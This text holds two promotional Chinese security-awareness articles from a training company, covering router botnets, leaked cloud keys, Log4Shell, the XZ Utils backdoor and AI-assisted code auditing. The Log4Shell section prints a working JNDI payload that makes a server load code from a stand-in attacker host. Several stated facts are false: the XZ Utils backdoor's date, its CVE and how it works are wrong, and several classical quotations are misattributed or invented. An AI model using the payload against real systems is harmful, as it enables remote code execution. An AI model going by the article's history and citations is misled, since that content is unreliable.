供应链漏洞

从“暗网猎犬”到企业防线——让信息安全意识成为每位员工的第一道防火墙

admin

前言：头脑风暴——想象三幕信息安全“真人秀”

在信息安全的世界里，漏洞、恶意代码与社交工程如同暗流涌动的河道，稍有不慎便会被卷入其中。为让大家在枯燥的概念之外切身感受到威胁的真实与凶险，本文先以头脑风暴的方式，想象三场典型且富有教育意义的安全事件，随后以真实案例进行深度剖析，帮助大家在“看戏”“学戏”“防戏”。

案例 想象情境 关键教训
案例一：遥控“哨兵”失控——无人机物流平台被植入后门 某物流公司推出全自动无人机配送系统，航空监管部门批准后，首批无人机投入使用。不料黑客通过供应链漏洞在固件中植入“DogLeash”后门，使得数百架无人机在夜间被远程指挥，投递机密文件至竞争对手手中。 供应链安全不容忽视；固件签名与完整性验证是关键防线。
案例二：智慧灯塔的致命“灯光”——IoT路灯被劫持形成“灯塔僵尸网络” 城市智慧灯塔项目使用 MIPS 架构的嵌入式控制板。黑客利用 UAT‑7810 开发的 “LeashTest” 工具，先行占领控制板后植入 “LongLeash” 恶意程序，使灯塔成为“灯塔僵尸网络”节点，后续被用于发动 DDoS 攻击导致全市网络瘫痪。 嵌入式设备缺乏安全加固是攻击跳板；定期固件审计与漏洞修补不可或缺。
案例三：云端“隐形手套”——云服务 API 被滥用导致数据泄露 某企业将核心业务迁移至公有云，启用了自动化的 API 生成工具，以加速业务上线。黑客发现开发者在 Git 仓库中误提交了包含高权限 API 密钥的文件，利用这些密钥调用内部 API 丢失客户个人信息。 自动化工具虽提升效率，却可能放大人因失误；代码审计、密钥管理与最小权限原则必须落到实处。

通过上述想象，我们已初步感受到：技术的便利往往伴随风险的倍增。接下来，我们将基于真实的安全情报——UAT-7810 与 Operational Relay Box (ORB) 网络，进行案例复盘，帮助大家把抽象的风险转化为可操作的防御措施。

案例深度剖析

案例一：UAT‑7810 打造的 ORB 网络——暗网的“LapDogs”

1. 事件概述

2025 年底，安全公司 SecurityScorecard 首次披露了名为 Operational Relay Box（ORB） 的匿名中继网络（又称 LapDogs），其核心是利用全球范围内被攻陷的路由器、嵌入式设备和物联网终端，形成一个高度分散、难以追踪的“中继链”。随后，思科威胁情报团队 Talos 在 2026 年 7 月进一步揭露，这一网络的背后正是代号 UAT‑7810 的 APT 组织。他们通过已公开的 CVE 漏洞（如 CVE‑2020‑22653、CVE‑2020‑22658、CVE‑2023‑25717）侵入 Ruckus 无线路由器，并在其上部署自研恶意程序 ShortLeash，最新升级版 LongLeash 则拥有更强的持久化与横向渗透能力。

2. 技术细节

  • 利用老旧漏洞：UAT‑7810 通过暴露的管理接口漏洞，实现对路由器的默认凭证暴力破解或远程代码执行。该类漏洞常年未被厂商彻底修复，且多数企业在升级固件时缺乏计划。
  • 多语言后门：研究人员在植入的恶意代码中发现 DogLeash（C 语言）与 JarLeash（Java）两套后门。DogLeash 采用被动式通信，低频心跳；JarLeash 则提供基于 HTTP/2 的管理控制台，可实现文件上传、命令执行等功能。
  • MIPS 嵌入式工具 LeashTest：虽然本身是一个无害的功能测试 ELF 二进制，但其出现在大量 MIPS 物联网设备上，意味着这些设备已经被入侵并用作“跳板”。Talos 通过抽样检测发现，约 12% 的市售 MIPS 设备已被植入此类文件。

3. 影响面

  • 业务中断：被劫持的路由器可作为 DDoS 攻击的放大器，导致企业或公共网络出现异常流量。
  • 信息泄露：后门具备抓取网络流量的能力，黑客可以窃取企业内部系统凭证、业务数据，甚至对工业控制系统（ICS）进行情报收集。
  • 声誉损失：一旦被媒体曝光，受影响的厂商或使用者将面临巨大的品牌危机。

4. 教训提炼

  1. 及时修补已知漏洞：尤其是对网络设备的固件更新，必须做到“一发现即更新”。
  2. 加强供应链安全：在采购嵌入式设备时，要求供应商提供固件签名、完整性校验及安全加固方案。
  3. 网络分段与最小特权：对关键网络进行分段，限制路由器的管理接口只能从受信任的内部网段访问。
  4. 持续监测与威胁情报：部署 IDS/IPS 并结合外部威胁情报，实现对异常流量的快速定位和阻断。

案例二：MIPS 物联网设备的“暗箱”——从 LeashTest 到跨境僵尸网络

1. 事件概述

在 Talos 对 ORB 网络的跟踪中，研究人员发现 LeashTest ELF 文件频繁出现在不同厂商的 MIPS 架构 IoT 设备（如智能摄像头、路由器、环境监测仪）上。虽然 LeashTest 本身不具备攻击功能，但它的出现是 “已被控制的标记”，表明这些设备已被植入后续恶意载荷。

2. 技术细节

  • 利用默认账户：大量 MIPS 设备在出厂时使用默认 SSH/Telnet 账户，未进行密码修改即投入使用。攻击者利用这些弱口令直接登录设备。
  • 二进制注入：在设备的根文件系统中植入 LeashTest，以便后续的 “LongLeash” 通过该工具检测系统指令集、库文件版本，从而决定适配的恶意载荷。
  • 跨协议隧道：通过 DNS 隧道或 MQTT 协议，将受控设备连接至 ORB 网络，实现流量混淆，规避传统防御。

3. 影响面

  • 工业控制系统渗透：部分 MIPS 设备用于工厂现场的传感器网络，黑客若成功入侵，可直接影响生产线的安全运行。
  • 隐蔽的 DDoS 源：大规模的 IoT 设备被统一控制后，可在短时间内发起大规模的流量攻击，对目标站点造成瘫痪。
  • 法律合规风险：根据《网络安全法》和《个人信息保护法》，企业若未对使用的 IoT 设备进行安全审计，可能面临监管处罚。

4. 教训提炼

  1. 出厂即安全：选择供应商时须审查其是否提供安全启动（Secure Boot）和固件签名。
  2. 默认密码强制更改：在设备首次上线前，必须通过统一管理平台统一更改默认凭证并强制多因素认证。
  3. 设备生命全周期管理：对每台 IoT 设备建立资产标签，记录固件版本、补丁状态、网络归属，实现全生命周期追踪。
  4. 分离关键流量：将 IoT 设备置于独立的 VLAN 或专网，避免其直接与业务系统互通。

案例三：自动化 API 密钥泄露——从 DevOps 到 DataLeak

1. 事件概述

在 2026 年 6 月，一家跨国金融机构因内部 CI/CD 流程的疏忽，将包含 高权限云 API 密钥 的配置文件提交至公开 GitHub 仓库。攻击者利用该密钥调用云平台的内部 API，批量导出客户的个人信息和交易记录，导致近 30 万 条敏感数据泄露。

2. 技术细节

  • 自动化工具的双刃剑：该企业采用了 Terraform、Ansible 与 GitLab CI 自动化部署，极大提升了上线效率，却在代码审查阶段忽略了密钥的隐藏规则。
  • 密钥硬编码：在 Terraform 模块中直接写死了 aws_access_key 与 aws_secret_key，而未使用 AWS Secrets Manager 或 Vault 进行密钥托管。
  • 失控的权限：该密钥拥有 Administrator 权限，能够创建、删除、修改云资源，进一步扩大了攻击面。

3. 影响面

  • 数据泄露：敏感个人信息被公开在暗网买卖，导致潜在的金融诈骗与信用风险。
  • 业务中断：攻击者删除了部分关键数据库实例，造成业务系统短暂不可用。
  • 合规处罚：依据《个人信息保护法》第 44 条，该机构被监管部门处以 500 万元 以上罚款。

4. 教训提炼

  1. 密钥管理平台化：所有云凭证必须存放于专用的密钥管理系统，并通过动态租约（短期凭证）降低风险。

  2. CI/CD 安全审计：在每次代码提交前，使用 Git Secrets、TruffleHog 等工具扫描敏感信息，并在 CI 流程中强制执行。
  3. 最小权限原则：为每个服务创建 最小权限 的角色（Role），不要使用全局管理员凭证进行自动化部署。
  4. 安全培训与演练：让研发与运维团队定期参加“密钥泄露处置”应急演练，形成快速响应机制。

章节小结：共通的安全思维

上述三起案例虽来源不同，却揭示了同一条安全链条：

  1. 脆弱的资产（老旧固件、默认密码、嵌入式设备）
  2. 被忽视的自动化（CI/CD、脚本化部署）
  3. 缺失的防御层级（网络分段、最小特权、持续监测）

若要在日益 数据化、自动化、无人化 的大环境下保持安全，必须从技术、流程、人员三维度同步加固。

信息安全意识培训：让每位员工成为防线的“第一哨”

为什么我们要“参加”而不是“被动”？

“防火墙不可能堵住所有的火，只有每个人点燃的灯火亮得足够多，才能照亮黑暗的角落。”——《韩非子·说林上》

在当前的企业数字化转型浪潮中，数据资产 已不再是 IT 部门的专属，几乎每一个业务环节都在产生、传输甚至存储数据。于是，信息安全的责任链 必须向全员延伸——从高层决策者到普通操作员，都需要拥有基本的安全思维与技能。

1. 培训的核心目标

目标 解释 关联案例
危害认知 明确攻击者可能利用的漏洞与手段，提升风险感知。 ORB 网络、LeashTest、API 密钥泄露
行为规范 掌握密码管理、多因素认证、设备固件更新等日常安全操作。 默认密码、固件升级、密钥管理
应急处置 快速识别异常、上报并协同响应，降低损失。 DDoS 中继、数据泄露、设备被控
合规意识 熟悉《网络安全法》《个人信息保护法》等法规要求。 法规处罚案例、合规审计

2. 培训模式与工具

环节 形式 关键要点
前置问卷 在线自评，了解个人安全习惯与知识盲区。 数据驱动的培训路径规划。
情景模拟 基于真实案例的 “红队 vs 蓝队” 演练。 实战化学习，角色扮演提升记忆。
微课堂 5‑10 分钟短视频，聚焦密码、补丁、供应链。 碎片化学习，适配忙碌工作节奏。
交互讨论 小组研讨 + 现场 Q&A，鼓励经验分享。 形成内部安全文化，互相监督。
考核认证 在线测评 + 实操考核，颁发《信息安全合格证》。 激励机制，使培训成果可量化。

3. 与数据化、自动化、无人化的融合

  1. 数据化：所有培训记录、测评数据将统一上报至 安全知识管理平台（SKM），利用大数据分析学习进度、薄弱环节，实现 精准推送 与 持续改进。

  2. 自动化：通过 学习管理系统（LMS） 设置自动提醒、自动发放证书，并与 身份与访问管理（IAM） 集成，实现完成培训后自动提升账号安全等级（如开启 MFA）。

  3. 无人化：在无人值守的 IoT 系统中，部署 安全代理 自动检测固件版本、密码强度；若检测到异常，系统将触发 安全培训提醒，让负责人员在最短时间内完成对应的学习任务。

4. 行动呼吁：从“我”到“我们”

  • 个人层面：每天抽出 10 分钟，检查自己的设备固件、密码强度、云凭证存放方式，养成“安全第一”的好习惯。
  • 团队层面：每周一次的技术例会加入安全案例分享，让安全信息自然渗透到业务讨论之中。
  • 组织层面：将信息安全培训纳入 KPI 考核，将 “安全合规” 与 “绩效奖励” 绑定，形成制度驱动。

正如古语所说：“将欲取天下而为之者，先植根于心”。让我们把这颗安全种子，深植于每位同事的日常工作与思考之中。

结语：让安全成为一种习惯，而非一次任务

在信息技术飞速发展的今天，“安全”不再是单纯的技术难题，它是一种组织文化、一种思维方式、更是一种每个人都必须承担的职责。UAT‑7810 那样的高级威胁组织之所以能在全球范围内搭建高效的 ORB 中继网络，根本原因在于“漏洞 + 失误 + 缺乏防御意识”的组合。而正是我们每一位员工的细微行为，决定了这三者是否会在我们身边相撞。

今天的培训，是一次“防火演习”，明天的防护，才是我们共同守护企业价值的真实战场。让我们一起把这场演习进行到底，用知识和行动为企业筑起一道不可逾越的安全长城。

昆明亭长朗然科技有限公司为企业提供安全意识提升方案，通过创新教学方法帮助员工在轻松愉快的氛围中学习。我们的产品设计注重互动性和趣味性，使信息安全教育更具吸引力。对此类方案感兴趣的客户，请随时与我们联系。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

把“安全隐患”变成“安全机遇”—从真实案例看职工信息安全意识的必修课

admin

一、开篇脑暴：三桩典型安全事件，警钟长鸣

在信息安全的世界里，往往是一颗小小的“针”刺破了防线，却酿成了惊涛骇浪。下面列出三起既具代表性，又能让人“一眼看穿”风险本质的案例，帮助大家在阅读的第一秒就感受到“安全无小事”的力度。

案例 时间 关键因素 造成的后果
Log4Shell（CVE‑2021‑44228） 2021年12月 开源日志框架 Log4j 中的 JNDI 远程代码执行漏洞 全球数十万台服务器被攻击，导致数据泄露、业务中断，直接经济损失达数亿美元
XZ Utils 后门（CVE‑2023‑XXXX） 2023年3月 开源压缩工具 XZ Utils 被植入隐藏后门，利用供应链更新传播 攻击者窃取企业内部源码，危及知识产权，部分国家关键基础设施被渗透
OpenAI “Patch the Planet”项目的早期失误 2026年6月 AI 辅助代码审计产生误报，导致维护者浪费大量时间 虽未造成直接损失，但暴露了“AI 盲区”与人机协同的潜在风险，提醒我们必须在 AI 之上再加一层“安全验证”
  • 案例一告诉我们：开源组件虽便利，却是攻击者的“跳板”。
  • 案例二提醒我们：供应链更新是供血管道，任何细微污点都可能致命。
  • 案例三则警示：AI 并非万灵药，若缺乏审慎的安全治理，同样会成为“新型攻击面”。

这三桩事件的共同点是：技术创新与安全防护常常“脱钩”，导致风险被放大。正所谓“未雨绸缪”，我们必须在技术升级的同时，同步筑起安全防线。

二、案例深度剖析——从根源到教训

1. Log4Shell：开源的“致命诱惑”

Log4j 作为 Java 生态系统中最常用的日志框架，长期被视为“安全可靠”。然而 2021 年底，一个看似不起眼的 JNDI（Java Naming and Directory Interface）查找机制被攻击者利用，实现了 远程代码执行（RCE）。核心漏洞代码如下：

${jndi:ldap://attacker.com/a}

只要日志信息中出现该字符串，程序即会向攻击者的 LDAP 服务器发起请求，拉取并执行恶意类。

风险放大链：

  1. 广泛使用：几乎所有 Java 应用、微服务、容器镜像里都有 Log4j。
  2. 默认配置：默认开启 JNDI，未限制外部地址。
  3. 自动化扫描：攻击者利用脚本遍历全网 IP，快速发现并利用该漏洞。
  4. 连锁响应：一次成功渗透往往连带后端数据库、内部 API、甚至业务系统被挖掘。

教训：

  • 资产清单是根基：必须对使用的第三方库进行完整梳理（SBOM），及时发现高危组件。
  • 最小化信任：对外部资源访问进行“白名单”控制，避免盲目解析。
  • 补丁速率要快：一旦发现漏洞，要在 24 小时内完成紧急修补，形成“及时响应”闭环。

“欲速则不达”，在补丁更新的赛跑中，任何拖延都是助跑者的加速器。

2. XZ Utils 后门：供应链攻击的暗流

2023 年，安全研究员在 XZ Utils（常用的压缩工具）源码中发现了一段隐藏代码，只有在特定日期（如 2023‑03‑01）开启特定环境变量时才会被激活，进而向远程服务器回传系统信息和压缩文件的原始内容。

攻击路径：

  1. 植入后门：攻击者在开源仓库提交的 PR 中加入恶意代码，但通过“细节隐藏”避免审计。
  2. 代码审计缺失：维护者在代码审计时只关注功能实现，忽略了对“异常路径”的检测。
  3. 供应链分发：一旦合并，后续所有基于该库的系统（包括 Linux 发行版、云原生镜像）都会被感染。
  4. 信息泄露：企业内部源码、配置文件、甚至加密密钥被窃取，导致进一步的业务渗透。

教训：

  • 审计机制要全链路：对每一次代码提交、合并请求（PR）进行 AI+人工双重审计，尤其是对关键库的安全审查。
  • 构建可信供应链（SLSA、Sigstore）：使用可验证的签名和元数据，对每一个二进制文件进行溯源。
  • 定期渗透测试：对内部使用的开源组件进行红队式渗透，发现潜在后门。

正所谓“防微杜渐”，细枝末节的后门往往是企业最不想面对的“隐形炸弹”。

3. OpenAI “Patch the Planet”项目的早期失误：AI 与安全的“协同尴尬”

2026 年，OpenAI 与 Trail of Bits 联手推出 Patch the Planet 项目，旨在利用 Codex Security 等大模型加速开源漏洞的发现与修复。项目启动后，AI 对某 Python 项目的分析误报了 120 条“高危漏洞”，导致维护者花费两周时间手动复核，且还有 15 条误报在发布前被误认为真实漏洞，导致社区信任度下降。

失误根源：

  1. 模型“自信过度”：大模型在缺乏足够上下文时倾向于高危判定，缺少置信度阈值控制。
  2. 缺乏自动化验证层：未对 AI 输出进行动态原型验证（PoC），导致误报大量涌入。
  3. 人机协同不完善：审计流程设计不够明确，导致“审计瓶颈”。

防范措施：

  • 安全相关的 AI 输出必须通过“安全相关性层”（Safety Relevance Layer）：包括自动化 PoC 验证、模糊测试（Fuzzing）以及差分比较。
  • 建立审计日志链：每一次 AI 标注必须留下完整的模型输入、推理过程、置信度评分，以便追溯。
  • 人机协同分层：AI 负责初筛，人类专家负责复核与决策，形成 “AI + 人 = 更强” 的闭环。

如《庄子·逍遥游》所言，“天地有大美而不言”，安全的“美”在于不露痕迹，却必须经得起寂静的检验。

三、数字化、智能体化、无人化的融合时代——安全的新坐标

1. 数字化：业务全流程数字化的“血脉”

企业正从 “纸上谈兵” 迈向 “数据驱动”，ERP、CRM、供应链管理系统全面上云。每一次 API 调用、每一条 日志、每一次 数据同步 都是潜在的攻击向量。数字化的优势是 实时、可视，但也意味着 攻击面 同时被放大。

  • 实时监控：利用统一日志平台（ELK、Splunk）进行威胁情报实时比对。
  • 统一身份：Zero Trust（零信任）模型通过 动态访问控制，把每一次请求都当作潜在威胁。

2. 智能体化：AI 助手、自动化脚本、智能运维

从 ChatGPT 到 Copilot，从 RPA 到 自动化测试框架，AI 正深度嵌入研发、运维、客服等环节。智能体 能够快速生成代码、部署容器、甚至写脚本修复漏洞；但若 模型被污染 或 训练数据泄露，后果不堪设想。

  • 模型安全：对内部使用的大模型进行 对抗样本检测，防止模型被逆向推断敏感信息。
  • AI 输出审计：每一次模型生成的代码必须经过 代码审计（AI+人工）后方可合并。

3. 无人化：自动驾驶、无人仓、机器人巡检

无人化 带来了 高效 与 低错误率，但也让 物理层面的安全 与 网络层面的安全 必须同步考虑。机器人若被 网络攻击，可能导致 生产线停摆，甚至 人身安全事故。

  • 固件完整性：通过 TPM、Secure Boot 确保设备固件未被篡改。
  • 网络隔离：将无人系统放置在专用的工业网络（ICS）中，使用 VPN、IPSec 加密隧道。

四、号召职工参与信息安全意识培训——从“防御”到“共创”

1. 培训的目标：知识、技能、心态三位一体

  • 知识层：了解最新的 漏洞趋势（Log4Shell、Supply Chain Attack、AI 误报），掌握 SBOM、VEX、Zero Trust 等核心概念。
  • 技能层：实战演练 代码审计、渗透测试、安全日志分析、AI 辅助审计，提升 “看图识毒” 的能力。
  • 心态层：树立 “安全是一种习惯” 的意识，做到 未雨绸缪、时时检查、快速响应。

2. 培训形式：多元化、沉浸式、可追溯

形式 内容 时长 交付方式
线上微课 30 分钟快速入门，涵盖密码学、访问控制、供应链安全 30 分钟/次 内部学习平台
实战实验室 模拟 Log4Shell 漏洞利用、AI 误报复盘、Zero Trust 攻防演练 2 小时/次 虚拟机器 + 现场导师
案例研讨 以本篇文章的三个案例为蓝本，分组讨论防御措施 1 小时/次 现场/远程会议
安全红蓝对抗 红队模拟攻击，蓝队实时防御，培养协同意识 半日 现场专用演练环境
AI 案例拆解 使用 Codex Security 对开源项目进行漏洞扫描，分析误报来源 1 小时 线上实验平台

所有培训均统一记录 学习路径，完成后自动生成 安全能力徽章，可在内部系统中展示，作为 晋升加分、项目优先 的参考。

3. 培训激励：从“奖杯”到“影响力”

  • 证书与徽章：完成全部课程的员工将获得 《信息安全合规专家》 电子证书。
  • 内部积分兑换：安全积分可兑换 技术图书、培训券、公司内部云资源。
  • 安全明星计划：每月评选 “安全创意达人”，其提出的安全改进建议若被采纳，将获得 专项奖金。
  • 跨部门分享会：鼓励员工把学到的安全技巧带回自己的业务线，形成 “安全共享、共建” 的文化氛围。

正如《论语》有云：“行者常至，孰能无过？”我们不怕犯错，只怕 不知。通过系统培训，让每一次错误都成为 成长的垫脚石。

4. 行动指南：从现在开始，你可以怎么做？

  1. 报名培训：打开公司内部学习平台，搜索 “信息安全意识培训”，点击 “立即报名”。
  2. 建立个人 SBOM：在日常开发中使用 CycloneDX 或 Syft 生成项目的 软件材料清单，并在每次提交前进行 依赖审计。
  3. 开启安全日志：在本地环境中开启 OWASP‑ZAP、Falco 等工具，对每一次 API 调用、系统调用进行审计。
  4. 参与 AI 安全实验：登录 OpenAI Playground，尝试使用 Codex Security 对自己的代码片段进行安全评估，记录误报与真实漏洞的比例。
  5. 共享学习心得：每完成一次培训后，在公司内部论坛发布 “安全笔记”，帮助同事快速了解要点，形成 知识闭环。

只要每位同事坚持 “一点点改进”， 整个企业的安全防御就会 “厚积薄发”。 正所谓“千里之堤，毁于蚁穴”，我们要做的，是让每一只蚂蚁都有“安全警示牌”。

五、结语：把安全当作创新的燃料

在 数字化、智能体化、无人化 的浪潮中，安全不再是“花篮子里的一朵小白花”，它是 创新的助推器。正如 OpenAI 通过 Patch the Planet 计划向我们展示的：AI 可以加速漏洞发现，但必须在严格的安全治理框架下才能释放价值。

让我们把 “发现漏洞、快速修补、持续验证、协同披露” 当作 日常工作流 的一部分，把 “安全培训、实战演练、经验分享” 当作 职业成长的必修课。当每一位员工都具备了 “安全思维”，企业的技术创新才能真正无畏前行，成为 “守护者”与 “创新者”** 的双重角色。

“安全是最好的创新，创新是最好的安全。” 让我们一起踏上这段旅程，用知识武装自己，用技能护航业务，用意识点燃文化。期待在即将开启的培训课堂里，看到每一位同事的积极身影，共同打造 “安全可持续、创新无限”的未来！

通过提升人员的安全保密与合规意识，进而保护企业知识产权是昆明亭长朗然科技有限公司重要的服务之一。通过定制化的保密培训和管理系统，我们帮助客户有效避免知识流失风险。需求方请联系我们进一步了解。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898